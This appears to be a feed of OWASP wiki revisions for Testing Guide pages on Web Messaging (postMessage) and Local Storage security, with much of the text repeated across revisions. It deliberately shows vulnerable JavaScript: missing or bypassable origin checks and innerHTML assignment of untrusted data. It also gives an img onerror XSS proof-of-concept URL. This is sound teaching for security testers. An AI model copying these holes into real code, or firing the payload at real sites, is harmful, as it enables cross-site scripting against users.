window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          &amp;lt;b&amp;gt;element.innerHTML= e.data;&amp;lt;/b&amp;gt;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
Whitepapers&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
Tools&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164661</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164661"/>
				<updated>2013-12-14T23:33:06Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: adding OWASP Testing Guide v4 template&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&lt;br /&gt;
data: The content of the incoming message&lt;br /&gt;
origin: The origin of the sender document.&lt;br /&gt;
source: source window&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Origin Security Concept&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;event.data input validation&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Access needed for every subdomain (www, chat, forums, ...)&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          &amp;lt;b&amp;gt;element.innerHTML= e.data;&amp;lt;/b&amp;gt;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
Whitepapers&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
Tools&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164660</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=164660"/>
				<updated>2013-12-14T23:32:52Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: adding OWASP Testing Guide v4 template&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).&lt;br /&gt;
There are two objects, localStorage that is persistent and sessionStorage that is temporary. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data store in these two objects is stored in the client and never sent to the server.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.&lt;br /&gt;
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.&lt;br /&gt;
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist until the window is closed, it is a bad idea to store sensitive data on this object or session indentifiers as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.&lt;br /&gt;
It shares most of the properties and the getItem/setItem methods, so we will look for these identifiers in the code to check where in the code the storage is accesed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'&lt;br /&gt;
&lt;br /&gt;
[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox and the addon Firebug you can inspect easily inspect the localStorage/sessionStorage object in the DOM tab&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
Whitepapers&lt;br /&gt;
…&lt;br /&gt;
http://www.w3.org/TR/webstorage/&lt;br /&gt;
more?&lt;br /&gt;
&lt;br /&gt;
Tools &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;br /&gt;
...&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164659</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164659"/>
				<updated>2013-12-14T23:21:35Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor change&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&lt;br /&gt;
data: The content of the incoming message&lt;br /&gt;
origin: The origin of the sender document.&lt;br /&gt;
source: source window&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Origin Security Concept&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;event.data input validation&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Access needed for every subdomain (www, chat, forums, ...)&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          &amp;lt;b&amp;gt;element.innerHTML= e.data;&amp;lt;/b&amp;gt;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
Whitepapers&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
Tools&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164658</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164658"/>
				<updated>2013-12-14T23:05:34Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor change&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&lt;br /&gt;
data: The content of the incoming message&lt;br /&gt;
origin: The origin of the sender document.&lt;br /&gt;
source: source window&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Origin Security Concept&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.&lt;br /&gt;
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the &amp;lt;pre&amp;gt;addEventListener&amp;lt;/pre&amp;gt; method to further analysis as domains must be always verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;event.data input validation&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Access needed for every subdomain (www, chat, forums, ...)&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will represent a security risk as an attacker can easily bypass the filter as www.owasp.org.attacker.com will match&lt;br /&gt;
&lt;br /&gt;
Lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: XSS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          &amp;lt;b&amp;gt;element.innerHTML= e.data;&amp;lt;/b&amp;gt;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
Whitepapers&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
Tools&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164657</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=164657"/>
				<updated>2013-12-14T23:03:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: added OTG-CLIENT-006&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the &amp;lt;pre&amp;gt;postMessage()&amp;lt;/pre&amp;gt; method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
&lt;br /&gt;
data: The content of the incoming message&lt;br /&gt;
origin: The origin of the sender document.&lt;br /&gt;
source: source window&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let's see an example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
